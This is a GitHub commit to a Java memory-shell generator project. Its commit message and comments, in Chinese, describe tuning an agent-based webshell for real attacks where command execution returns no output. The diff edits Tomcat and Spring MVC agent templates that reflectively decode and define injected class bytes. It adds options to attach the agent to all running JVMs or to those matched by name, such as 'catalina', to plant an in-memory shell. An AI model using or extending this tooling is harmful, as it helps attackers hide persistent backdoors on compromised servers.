Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 6e667fb

Browse files
committed
优化 java agent 马参数选项,贴合实战场景(命令执行无回显)
1 parent b422a60 commit 6e667fb

File tree

2 files changed

+111
-19
lines changed

2 files changed

+111
-19
lines changed

‎jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java‎

Lines changed: 51 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
import java.net.URL;
1818
import java.net.URLClassLoader;
1919
import java.security.ProtectionDomain;
20+
import java.util.ArrayList;
2021
import java.util.List;
2122

2223
public class SpringMVCAgentTransformer implements ClassFileTransformer {
@@ -59,7 +60,7 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
5960
" } catch (Throwable e) {\n" +
6061
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
6162
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
62-
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
63+
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
6364
" }\n" +
6465
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
6566
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
@@ -132,22 +133,45 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
132133

133134
}
134135

136+
/*
137+
参数说明见 TomcatAgentTransformer
138+
*/
135139
public static void main(String[] args) throws Exception {
136-
String jvmProcessId = null;
137140
if (args.length == 0) {
138-
// 列出所有 pid
139141
listAllJvmPids();
140-
}else {
141-
try {
142-
Integer.parseInt(args[0]);
143-
jvmProcessId = args[0];
144-
attachAgentToTargetJvm(jvmProcessId);
145-
} catch (NumberFormatExceptione) {
146-
thrownewIllegalArgumentException("Argument must be an integer representing a JVM process ID");
142+
}
143+
elseif (args.length == 1) {
144+
Stringarg = args[0];
145+
if (arg.equalsIgnoreCase("all")) {
146+
for (StringjvmProcessId : getAllJvmPids()) {
147+
attachAgentToTargetJvm(jvmProcessId);
148+
}
147149
}
150+
else {
151+
try {
152+
Integer.parseInt(arg);
153+
attachAgentToTargetJvm(arg);
154+
}
155+
catch (NumberFormatException e) {
156+
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
157+
attachAgentToTargetJvm(jvmProcessId);
158+
}
159+
}
160+
}
161+
} else {
162+
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
148163
}
149164
}
150165

166+
public static List<String> getAllJvmPids() throws Exception {
167+
List<String> pids = new ArrayList<>();
168+
for (Object vm : vms) {
169+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
170+
String id = (String) getId.invoke(vm);
171+
pids.add(id);
172+
}
173+
return pids;
174+
}
151175

152176
public static void listAllJvmPids() throws Exception {
153177
for (Object vm : vms) {
@@ -159,6 +183,23 @@ public static void listAllJvmPids() throws Exception {
159183
}
160184
}
161185

186+
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
187+
List<String> pids = new ArrayList<>();
188+
for (Object vm : vms) {
189+
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
190+
String currentDisplayName = (String) displayNameMethod.invoke(vm);
191+
System.out.println(currentDisplayName);
192+
System.out.println(displayName);
193+
System.out.println();
194+
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
195+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
196+
String id = (String) getId.invoke(vm);
197+
pids.add(id);
198+
}
199+
}
200+
return pids;
201+
}
202+
162203
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
163204
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
164205
infoLog("Current agent path: " + agentFilePath);

‎jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java‎

Lines changed: 60 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
import java.net.URL;
1818
import java.net.URLClassLoader;
1919
import java.security.ProtectionDomain;
20+
import java.util.ArrayList;
2021
import java.util.List;
2122

2223
public class TomcatAgentTransformer implements ClassFileTransformer {
@@ -136,22 +137,55 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
136137

137138
}
138139

140+
/*
141+
使用方法:
142+
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
143+
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
144+
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
145+
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
146+
*/
139147
public static void main(String[] args) throws Exception {
140-
StringjvmProcessId = null;
148+
// 无参数 - 列出所有 JVM 进程 ID
141149
if (args.length == 0) {
142-
// 列出所有 pid
143150
listAllJvmPids();
144-
} else {
145-
try {
146-
Integer.parseInt(args[0]);
147-
jvmProcessId = args[0];
148-
attachAgentToTargetJvm(jvmProcessId);
149-
} catch (NumberFormatException e) {
150-
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
151+
} else if (args.length == 1) {
152+
String arg = args[0];
153+
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
154+
if (arg.equalsIgnoreCase("all")) {
155+
for (String jvmProcessId : getAllJvmPids()) {
156+
attachAgentToTargetJvm(jvmProcessId);
157+
}
158+
}
159+
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
160+
else {
161+
try {
162+
Integer.parseInt(arg);
163+
attachAgentToTargetJvm(arg);
164+
} catch (NumberFormatException e) {
165+
/*
166+
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
167+
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
168+
HOW: tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
169+
*/
170+
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
171+
attachAgentToTargetJvm(jvmProcessId);
172+
}
173+
}
151174
}
175+
} else {
176+
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
152177
}
153178
}
154179

180+
public static List<String> getAllJvmPids() throws Exception {
181+
List<String> pids = new ArrayList<>();
182+
for (Object vm : vms) {
183+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
184+
String id = (String) getId.invoke(vm);
185+
pids.add(id);
186+
}
187+
return pids;
188+
}
155189

156190
public static void listAllJvmPids() throws Exception {
157191
for (Object vm : vms) {
@@ -163,6 +197,23 @@ public static void listAllJvmPids() throws Exception {
163197
}
164198
}
165199

200+
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
201+
List<String> pids = new ArrayList<>();
202+
for (Object vm : vms) {
203+
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
204+
String currentDisplayName = (String) displayNameMethod.invoke(vm);
205+
System.out.println(currentDisplayName);
206+
System.out.println(displayName);
207+
System.out.println();
208+
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
209+
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
210+
String id = (String) getId.invoke(vm);
211+
pids.add(id);
212+
}
213+
}
214+
return pids;
215+
}
216+
166217
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
167218
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
168219
infoLog("Current agent path: " + agentFilePath);

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /